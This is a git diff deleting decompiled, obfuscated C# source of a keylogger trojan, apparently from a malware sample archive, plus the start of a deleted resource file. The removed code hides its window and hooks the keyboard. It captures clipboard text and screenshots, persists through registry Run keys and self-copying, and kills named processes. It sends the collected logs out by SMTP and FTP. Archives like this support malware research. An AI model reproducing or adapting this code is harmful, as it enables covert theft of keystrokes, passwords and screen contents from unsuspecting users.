this.Visible = false; - this.Hide(); - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - this.\u0004 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0005 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0006 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0007 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001E = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0011 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001F = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0008 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u000E = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u000F = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0010 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u007F = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0097 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0098 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0099 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u009A = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u009B = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u009C = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u009D = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u009E = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u009F = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001\u0002 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0002\u0002 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0003\u0002 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0004\u0002 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0005\u0002 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0006\u0002 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0080 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0095 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0096 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0081 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0082 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0086 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0084 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0083 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0087 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0014 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0088 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0089 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0018 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u008A = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u008B = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0012 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u008C = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0013 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u008D = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0019 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u008E = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001A = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u008F = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0090 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0091 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0092 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0093 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001B = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001C = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0007\u0002 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0094 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0015 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0016 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0017 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0008\u0002 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u000E\u0002 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u000F\u0002 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u001D = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref this.\u0004); - FileSystem.FileGet(1, ref this.\u0005); - FileSystem.FileGet(1, ref this.\u0006); - FileSystem.FileGet(1, ref this.\u0007); - FileSystem.FileGet(1, ref this.\u001E); - FileSystem.FileGet(1, ref this.\u0011); - FileSystem.FileGet(1, ref this.\u001F); - FileSystem.FileGet(1, ref this.\u0008); - FileSystem.FileGet(1, ref this.\u000E); - FileSystem.FileGet(1, ref this.\u000F); - FileSystem.FileGet(1, ref this.\u0010); - FileSystem.FileGet(1, ref this.\u007F); - FileSystem.FileGet(1, ref this.\u0097); - FileSystem.FileGet(1, ref this.\u0098); - FileSystem.FileGet(1, ref this.\u0099); - FileSystem.FileGet(1, ref this.\u009A); - FileSystem.FileGet(1, ref this.\u009B); - FileSystem.FileGet(1, ref this.\u009C); - FileSystem.FileGet(1, ref this.\u009D); - FileSystem.FileGet(1, ref this.\u009E); - FileSystem.FileGet(1, ref this.\u009F); - FileSystem.FileGet(1, ref this.\u0001\u0002); - FileSystem.FileGet(1, ref this.\u0002\u0002); - FileSystem.FileGet(1, ref this.\u0003\u0002); - FileSystem.FileGet(1, ref this.\u0004\u0002); - FileSystem.FileGet(1, ref this.\u0005\u0002); - FileSystem.FileGet(1, ref this.\u0006\u0002); - FileSystem.FileGet(1, ref this.\u0080); - FileSystem.FileGet(1, ref this.\u0095); - FileSystem.FileGet(1, ref this.\u0096); - FileSystem.FileGet(1, ref this.\u0081); - FileSystem.FileGet(1, ref this.\u0082); - FileSystem.FileGet(1, ref this.\u0086); - FileSystem.FileGet(1, ref this.\u0084); - FileSystem.FileGet(1, ref this.\u0083); - FileSystem.FileGet(1, ref this.\u0087); - FileSystem.FileGet(1, ref this.\u0014); - FileSystem.FileGet(1, ref this.\u0088); - FileSystem.FileGet(1, ref this.\u0089); - FileSystem.FileGet(1, ref this.\u0018); - FileSystem.FileGet(1, ref this.\u008A); - FileSystem.FileGet(1, ref this.\u008B); - FileSystem.FileGet(1, ref this.\u0012); - FileSystem.FileGet(1, ref this.\u008C); - FileSystem.FileGet(1, ref this.\u0013); - FileSystem.FileGet(1, ref this.\u008D); - FileSystem.FileGet(1, ref this.\u0019); - FileSystem.FileGet(1, ref this.\u008E); - FileSystem.FileGet(1, ref this.\u001A); - FileSystem.FileGet(1, ref this.\u008F); - FileSystem.FileGet(1, ref this.\u0090); - FileSystem.FileGet(1, ref this.\u0091); - FileSystem.FileGet(1, ref this.\u0092); - FileSystem.FileGet(1, ref this.\u0093); - FileSystem.FileGet(1, ref this.\u001B); - FileSystem.FileGet(1, ref this.\u001C); - FileSystem.FileGet(1, ref this.\u0007\u0002); - FileSystem.FileGet(1, ref this.\u0094); - FileSystem.FileGet(1, ref this.\u0015); - FileSystem.FileGet(1, ref this.\u0016); - FileSystem.FileGet(1, ref this.\u0017); - FileSystem.FileGet(1, ref this.\u0008\u0002); - FileSystem.FileGet(1, ref this.\u000E\u0002); - FileSystem.FileGet(1, ref this.\u000F\u0002); - FileSystem.FileGet(1, ref this.\u001D); - this.\u0001 = Strings.Split(Encoding.Default.GetString(\u0004.\u0003.\u0002(Application.ExecutablePath)), \u0003.\u0003.\u0001(1646)); - this.\u0005().Text = this.\u0001[29]; - if (Operators.CompareString(Path.GetFileNameWithoutExtension(Application.ExecutablePath), this.\u0001[55], false) == 0) - { - this.\u0004(); - string executablePath1 = Application.ExecutablePath; - string str1 = this.\u0001 + \u0003.\u0003.\u0001(1667); - if (System.IO.File.Exists(executablePath1) && !System.IO.File.Exists(str1)) - { - System.IO.File.Copy(executablePath1, str1); - Process.Start(str1); - } - if (Conversions.ToBoolean(this.\u0001[44])) - { - string str2 = this.\u0001 + Path.GetFileName(Application.ExecutablePath); - try - { - if (Operators.CompareString(Application.ExecutablePath, this.\u0001 + Path.GetFileName(Application.ExecutablePath), false) != 0) - { - if (Operators.CompareString(Application.ExecutablePath, this.\u0001 + Path.GetFileName(Application.ExecutablePath), false) != 0) - System.IO.File.Delete(this.\u0001 + Path.GetFileName(Application.ExecutablePath)); - string executablePath2 = Application.ExecutablePath; - string str3 = this.\u0001 + Path.GetFileName(Application.ExecutablePath); - if (System.IO.File.Exists(executablePath2) && !System.IO.File.Exists(str3)) - System.IO.File.Copy(executablePath2, str3); - \u0002.\u0003.\u0002().Registry.CurrentUser.OpenSubKey(\u0003.\u0003.\u0001(1684), true).SetValue(\u0003.\u0003.\u0001(1741), (object) Application.ExecutablePath); - Process.Start(this.\u0001 + Path.GetFileName(Application.ExecutablePath)); - ProjectData.EndApp(); - } - else if (Operators.CompareString(Application.ExecutablePath, this.\u0001 + Path.GetFileName(Application.ExecutablePath), false) == 0) - { - Thread.Sleep(Convert.ToInt32(this.\u0001[45])); - string str4 = Conversions.ToString(\u0002.\u0003.\u0002().Registry.CurrentUser.OpenSubKey(\u0003.\u0003.\u0001(1684), true).GetValue(\u0003.\u0003.\u0001(1741), (object) Application.ExecutablePath)); - if (Operators.CompareString(Application.ExecutablePath, str4, false) != 0 && System.IO.File.Exists(str4)) - FileSystem.Kill(str4); - } - if (Conversions.ToBoolean(this.\u0001[36])) - \u0002.\u0003.\u0002().Registry.CurrentUser.OpenSubKey(\u0003.\u0003.\u0001(1750), true).SetValue(this.\u0001[37], (object) str2); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else if (!Conversions.ToBoolean(this.\u0001[44]) & Conversions.ToBoolean(this.\u0001[36])) - { - try - { - string tempPath = Path.GetTempPath(); - string executablePath3 = Application.ExecutablePath; - string str5 = tempPath + Path.GetFileName(Application.ExecutablePath); - if (System.IO.File.Exists(executablePath3) && !System.IO.File.Exists(str5)) - System.IO.File.Copy(executablePath3, str5); - \u0002.\u0003.\u0002().Registry.CurrentUser.OpenSubKey(\u0003.\u0003.\u0001(1750), true).SetValue(this.\u0001[37], (object) str5); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else - { - int num = !Conversions.ToBoolean(this.\u0001[44]) & !Conversions.ToBoolean(this.\u0001[36]) ? 1 : 0; - } - if (Conversions.ToBoolean(this.\u0001[28])) - { - this.\u0002().\u0002(); - this.\u0002().Interval = Convert.ToInt32(this.\u0001[6]); - this.\u0002().Start(); - } - if (Conversions.ToBoolean(this.\u0001[30])) - this.\u0004().Start(); - if (Conversions.ToBoolean(this.\u0001[42])) - { - this.\u0003().Interval = Convert.ToInt32(this.\u0001[43]); - this.\u0003().Start(); - } - if (Conversions.ToBoolean(this.\u0001[50]) | Conversions.ToBoolean(this.\u0001[51]) | Conversions.ToBoolean(this.\u0001[52]) | Conversions.ToBoolean(this.\u0001[53]) | Conversions.ToBoolean(this.\u0001[54])) - this.\u0005().Start(); - } - if (Operators.CompareString(Application.ExecutablePath, this.\u0001 + \u0003.\u0003.\u0001(1667), false) != 0) - return; - if (Conversions.ToBoolean(this.\u0001[12])) - this.\u0003(); - if (Conversions.ToBoolean(this.\u0001[58])) - { - if (Operators.CompareString(this.\u0001[61], \u0003.\u0003.\u0001(1811), false) == 0) - { - int num1 = (int) Interaction.MsgBox((object) this.\u0001[60], MsgBoxStyle.Critical, (object) this.\u0001[59]); - } - else if (Operators.CompareString(this.\u0001[61], \u0003.\u0003.\u0001(1816), false) == 0) - { - int num2 = (int) Interaction.MsgBox((object) this.\u0001[60], MsgBoxStyle.Information, (object) this.\u0001[59]); - } - else if (Operators.CompareString(this.\u0001[61], \u0003.\u0003.\u0001(1821), false) == 0) - { - int num3 = (int) Interaction.MsgBox((object) this.\u0001[60], MsgBoxStyle.Exclamation, (object) this.\u0001[59]); - } - else if (Operators.CompareString(this.\u0001[61], \u0003.\u0003.\u0001(1826), false) == 0) - { - int num4 = (int) Interaction.MsgBox((object) this.\u0001[60], MsgBoxStyle.YesNo, (object) this.\u0001[59]); - } - else if (Operators.CompareString(this.\u0001[61], \u0003.\u0003.\u0001(1831), false) == 0) - { - int num5 = (int) Interaction.MsgBox((object) this.\u0001[60], MsgBoxStyle.YesNoCancel, (object) this.\u0001[59]); - } - else if (Operators.CompareString(this.\u0001[61], \u0003.\u0003.\u0001(1836), false) == 0) - { - int num6 = (int) Interaction.MsgBox((object) this.\u0001[60], MsgBoxStyle.AbortRetryIgnore, (object) this.\u0001[59]); - } - } - ProjectData.EndApp(); - } - - public void \u0003() - { - if (Conversions.ToBoolean(this.\u0001[13])) - { - try - { - \u0003.\u0002.\u0002(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - string str = \u0003.\u0003.\u0001(1841) + \u0002.\u0003.\u0002().Name + DateTime.Now.ToString().Replace(\u0003.\u0003.\u0001(1862), \u0003.\u0003.\u0001(1867)).Replace(\u0003.\u0003.\u0001(1872), \u0003.\u0003.\u0001(1877)).Replace(\u0003.\u0003.\u0001(1882), \u0003.\u0003.\u0001(1867)); - try - { - if (!Directory.Exists(this.\u0001 + \u0003.\u0003.\u0001(1887))) - { - Directory.CreateDirectory(this.\u0001 + \u0003.\u0003.\u0001(1887)); - new DirectoryInfo(this.\u0001 + \u0003.\u0003.\u0001(1887)).Attributes = FileAttributes.Hidden; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - FileStream fileStream = new FileStream(this.\u0001 + \u0003.\u0003.\u0001(1896) + str + \u0003.\u0003.\u0001(1905), FileMode.Create, FileAccess.Write); - StreamWriter streamWriter = new StreamWriter((Stream) fileStream); - streamWriter.WriteLine(this.\u0002 + this.\u0004().Text + this.\u0003); - streamWriter.Close(); - fileStream.Dispose(); - fileStream.Close(); - streamWriter.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (Conversions.ToBoolean(this.\u0001[5])) - { - try - { - MailMessage message = new MailMessage(); - message.Subject = \u0003.\u0003.\u0001(1914) + \u0002.\u0003.\u0002().Name; - message.To.Add(this.\u0001.\u0002(this.\u0001[1])); - message.From = new MailAddress(this.\u0001.\u0002(this.\u0001[1])); - message.Body = this.\u0002 + this.\u0004().Text + this.\u0003; - message.IsBodyHtml = true; - Attachment attachment = new Attachment(this.\u0001 + \u0003.\u0003.\u0001(1896) + str + \u0003.\u0003.\u0001(1905)); - message.Attachments.Add(attachment); - new SmtpClient(this.\u0001.\u0002(this.\u0001[3])) - { - Port = Conversions.ToInteger(this.\u0001.\u0002(this.\u0001[4])), - EnableSsl = true, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.\u0001.\u0002(this.\u0001[1]), this.\u0001.\u0002(this.\u0001[2]))) - }.Send(message); - message.Dispose(); - attachment.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.\u0001[7])) - { - try - { - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(\u0003.\u0003.\u0001(1935) + this.\u0001.\u0002(this.\u0001[10]) + \u0003.\u0003.\u0001(1862) + this.\u0001.\u0002(this.\u0001[11]) + \u0003.\u0003.\u0001(1862) + str + \u0003.\u0003.\u0001(1905)); - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(this.\u0001.\u0002(this.\u0001[8]), this.\u0001.\u0002(this.\u0001[9])); - ftpWebRequest.Method = \u0003.\u0003.\u0001(1944); - byte[] buffer = System.IO.File.ReadAllBytes(this.\u0001 + \u0003.\u0003.\u0001(1896) + str + \u0003.\u0003.\u0001(1905)); - Stream requestStream = ftpWebRequest.GetRequestStream(); - requestStream.Write(buffer, 0, buffer.Length); - requestStream.Close(); - requestStream.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - try - { - this.\u0004().Clear(); - this.\u0004().Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0003([In] object obj0, [In] EventArgs obj1) - { - string str = \u0003.\u0003.\u0001(1953) + \u0002.\u0003.\u0002().Name + DateTime.Now.ToString().Replace(\u0003.\u0003.\u0001(1862), \u0003.\u0003.\u0001(1867)).Replace(\u0003.\u0003.\u0001(1872), \u0003.\u0003.\u0001(1877)).Replace(\u0003.\u0003.\u0001(1882), \u0003.\u0003.\u0001(1867)); - try - { - if (!Directory.Exists(this.\u0001 + \u0003.\u0003.\u0001(1887))) - { - Directory.CreateDirectory(this.\u0001 + \u0003.\u0003.\u0001(1887)); - new DirectoryInfo(this.\u0001 + \u0003.\u0003.\u0001(1887)).Attributes = FileAttributes.Hidden; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - FileStream fileStream = new FileStream(this.\u0001 + \u0003.\u0003.\u0001(1896) + str + \u0003.\u0003.\u0001(1905), FileMode.Create, FileAccess.Write); - StreamWriter streamWriter = new StreamWriter((Stream) fileStream); - if (Operators.CompareString(this.\u0002().Text, \u0003.\u0003.\u0001(333), false) == 0) - streamWriter.WriteLine(this.\u0002 + \u0003.\u0003.\u0001(1978) + this.\u0003); - else - streamWriter.WriteLine(this.\u0002 + this.\u0002().Text + this.\u0003); - streamWriter.Close(); - fileStream.Dispose(); - fileStream.Close(); - streamWriter.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (Conversions.ToBoolean(this.\u0001[5])) - { - try - { - MailMessage message = new MailMessage(); - message.Subject = \u0002.\u0003.\u0002().Name + \u0003.\u0003.\u0001(2031); - message.To.Add(this.\u0001.\u0002(this.\u0001[1])); - message.From = new MailAddress(this.\u0001.\u0002(this.\u0001[1])); - message.Body = Operators.CompareString(this.\u0002().Text, \u0003.\u0003.\u0001(333), false) != 0 ? this.\u0002 + this.\u0002().Text + this.\u0003 : this.\u0002 + \u0003.\u0003.\u0001(1978) + this.\u0003; - message.IsBodyHtml = true; - Attachment attachment = new Attachment(this.\u0001 + \u0003.\u0003.\u0001(1896) + str + \u0003.\u0003.\u0001(1905)); - message.Attachments.Add(attachment); - new SmtpClient(this.\u0001.\u0002(this.\u0001[3])) - { - Port = Conversions.ToInteger(this.\u0001.\u0002(this.\u0001[4])), - EnableSsl = true, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.\u0001.\u0002(this.\u0001[1]), this.\u0001.\u0002(this.\u0001[2]))) - }.Send(message); - message.Dispose(); - attachment.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.\u0001[7])) - { - try - { - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(\u0003.\u0003.\u0001(1935) + this.\u0001.\u0002(this.\u0001[10]) + \u0003.\u0003.\u0001(1862) + this.\u0001.\u0002(this.\u0001[11]) + \u0003.\u0003.\u0001(1862) + str + \u0003.\u0003.\u0001(1905)); - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(this.\u0001.\u0002(this.\u0001[8]), this.\u0001.\u0002(this.\u0001[9])); - ftpWebRequest.Method = \u0003.\u0003.\u0001(1944); - byte[] buffer = System.IO.File.ReadAllBytes(this.\u0001 + \u0003.\u0003.\u0001(1896) + str + \u0003.\u0003.\u0001(1905)); - Stream requestStream = ftpWebRequest.GetRequestStream(); - requestStream.Write(buffer, 0, buffer.Length); - requestStream.Close(); - requestStream.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - try - { - this.\u0002().Clear(); - \u0002.\u0003.\u0002().Clipboard.Clear(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0004([In] object obj0, [In] EventArgs obj1) - { - string str = \u0003.\u0003.\u0001(2056) + \u0002.\u0003.\u0002().Name + DateTime.Now.ToString().Replace(\u0003.\u0003.\u0001(1862), \u0003.\u0003.\u0001(1867)).Replace(\u0003.\u0003.\u0001(1872), \u0003.\u0003.\u0001(1877)).Replace(\u0003.\u0003.\u0001(1882), \u0003.\u0003.\u0001(1867)); - if (!Directory.Exists(this.\u0001 + \u0003.\u0003.\u0001(1887))) - { - Directory.CreateDirectory(this.\u0001 + \u0003.\u0003.\u0001(1887)); - new DirectoryInfo(this.\u0001 + \u0003.\u0003.\u0001(1887)).Attributes = FileAttributes.Hidden; - } - try - { - this.Opacity = 0.0; - Rectangle bounds = Screen.PrimaryScreen.Bounds; - Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppPArgb); - Graphics graphics = Graphics.FromImage((Image) bitmap); - graphics.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy); - bitmap.Save(this.\u0001 + \u0003.\u0003.\u0001(1896) + str + \u0003.\u0003.\u0001(2089)); - this.Opacity = 100.0; - graphics.Dispose(); - bitmap.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (Conversions.ToBoolean(this.\u0001[5])) - { - try - { - MailMessage message = new MailMessage(); - message.Subject = \u0003.\u0003.\u0001(2098) + \u0002.\u0003.\u0002().Name; - message.To.Add(this.\u0001.\u0002(this.\u0001[1])); - message.From = new MailAddress(this.\u0001.\u0002(this.\u0001[1])); - message.Body = \u0003.\u0003.\u0001(2131) + \u0002.\u0003.\u0002().Name + \u0003.\u0003.\u0001(2156) + Conversions.ToString(\u0002.\u0003.\u0002().Clock.GmtTime); - Attachment attachment = new Attachment(this.\u0001 + \u0003.\u0003.\u0001(1896) + str + \u0003.\u0003.\u0001(2089)); - message.Attachments.Add(attachment); - new SmtpClient(this.\u0001.\u0002(this.\u0001[3])) - { - Port = Conversions.ToInteger(this.\u0001.\u0002(this.\u0001[4])), - EnableSsl = true, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.\u0001.\u0002(this.\u0001[1]), this.\u0001.\u0002(this.\u0001[2]))) - }.Send(message); - message.Dispose(); - attachment.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (!Conversions.ToBoolean(this.\u0001[7])) - return; - try - { - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(\u0003.\u0003.\u0001(1935) + this.\u0001.\u0002(this.\u0001[10]) + \u0003.\u0003.\u0001(1862) + this.\u0001.\u0002(this.\u0001[11]) + \u0003.\u0003.\u0001(1862) + str + \u0003.\u0003.\u0001(2089)); - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(this.\u0001.\u0002(this.\u0001[8]), this.\u0001.\u0002(this.\u0001[9])); - ftpWebRequest.Method = \u0003.\u0003.\u0001(1944); - byte[] buffer = System.IO.File.ReadAllBytes(this.\u0001 + \u0003.\u0003.\u0001(1896) + str + \u0003.\u0003.\u0001(2089)); - Stream requestStream = ftpWebRequest.GetRequestStream(); - requestStream.Write(buffer, 0, buffer.Length); - requestStream.Close(); - requestStream.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0005([In] object obj0, [In] EventArgs obj1) - { - try - { - if (Operators.CompareString(this.\u0012\u0002, \u0002.\u0003.\u0002().Clipboard.GetText(), false) == 0) - return; - this.\u0002().Text = this.\u0002().Text + \u0003.\u0003.\u0001(2173) + \u0002.\u0003.\u0002().Clipboard.GetText() + \u0003.\u0003.\u0001(2214); - this.\u0012\u0002 = \u0002.\u0003.\u0002().Clipboard.GetText(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0006([In] object obj0, [In] EventArgs obj1) - { - try - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - string Left = Strings.LCase(processes[index].ProcessName); - if (Operators.CompareString(Left, \u0003.\u0003.\u0001(2239), false) == 0) - { - if (Conversions.ToBoolean(this.\u0001[51])) - processes[index].Kill(); - } - else if (Operators.CompareString(Left, \u0003.\u0003.\u0001(2252), false) == 0) - { - if (Conversions.ToBoolean(this.\u0001[53])) - processes[index].Kill(); - } - else if (Operators.CompareString(Left, \u0003.\u0003.\u0001(2265), false) == 0) - { - if (Conversions.ToBoolean(this.\u0001[54])) - processes[index].Kill(); - } - else if (Operators.CompareString(Left, \u0003.\u0003.\u0001(2278), false) == 0 && Conversions.ToBoolean(this.\u0001[52])) - processes[index].Kill(); - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (!Conversions.ToBoolean(this.\u0001[50])) - return; - try - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - string Left = Strings.LCase(processes[index].ProcessName); - if (Operators.CompareString(Left, \u0003.\u0003.\u0001(2291), false) == 0) - processes[index].Kill(); - else if (Operators.CompareString(Left, \u0003.\u0003.\u0001(2304), false) == 0) - processes[index].Kill(); - else if (Operators.CompareString(Left, \u0003.\u0003.\u0001(2321), false) == 0) - processes[index].Kill(); - else if (Operators.CompareString(Left, \u0003.\u0003.\u0001(2330), false) == 0) - processes[index].Kill(); - else if (Operators.CompareString(Left, \u0003.\u0003.\u0001(2339), false) == 0) - processes[index].Kill(); - else if (Operators.CompareString(Left, \u0003.\u0003.\u0001(2348), false) == 0) - processes[index].Kill(); - else if (Operators.CompareString(Left, \u0003.\u0003.\u0001(2369), false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0004() - { - if (Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Process.GetCurrentProcess().MainModule.ModuleName)).Length <= 1) - return; - ProjectData.EndApp(); - } - - static \u0003() => \u0001.\u0002.\u0002(); - - internal class \u0001 - { - private static \u0003.\u0003.\u0001.\u0003 \u0001; - private static \u0003.\u0003.\u0001.\u0004 \u0001; - private static int \u0001; - private static \u0003.\u0003.\u0001.\u0002 \u0001; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002([In] int obj0, [In] \u0003.\u0003.\u0001.\u0002 obj1, [In] int obj2, [In] int obj3); - - [DllImport("user32", EntryPoint = "CallNextHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002([In] int obj0, [In] int obj1, [In] int obj2, [In] \u0003.\u0003.\u0001.\u0001 obj3); - - [DllImport("user32", EntryPoint = "UnhookWindowsHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002([In] int obj0); - - public \u0001() - { - \u0003.\u0003.\u0001.\u0001 = new \u0003.\u0003.\u0001.\u0002(\u0003.\u0003.\u0001.\u0002); - \u0003.\u0003.\u0001.\u0001 = \u0003.\u0003.\u0001.\u0002(13, \u0003.\u0003.\u0001.\u0001, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private static int \u0002([In] int obj0, [In] int obj1, [In] ref \u0003.\u0003.\u0001.\u0001 obj2) - { - if (obj0 == 0) - { - switch (obj1) - { - case 256: - case 260: - \u0003.\u0003.\u0001.\u0003 obj3 = \u0003.\u0003.\u0001.\u0001; - if (obj3 != null) - { - obj3((Keys) obj2.\u0001); - break; - } - break; - case 257: - case 261: - \u0003.\u0003.\u0001.\u0004 obj4 = \u0003.\u0003.\u0001.\u0001; - if (obj4 != null) - { - obj4((Keys) obj2.\u0001); - break; - } - break; - } - } - return \u0003.\u0003.\u0001.\u0002(\u0003.\u0003.\u0001.\u0001, obj0, obj1, obj2); - } - - ~\u0001() - { - \u0003.\u0003.\u0001.\u0002(\u0003.\u0003.\u0001.\u0001); - // ISSUE: explicit finalizer call - base.Finalize(); - } - - private struct \u0001 - { - public int \u0001; - public int \u0002; - public int \u0003; - public int \u0004; - public int \u0005; - } - - private delegate int \u0002(int nCode, int wParam, ref \u0003.\u0003.\u0001.\u0001 lParam); - - internal delegate void \u0003(Keys Key); - - internal delegate void \u0004(Keys Key); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0003.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0003.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0003.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, 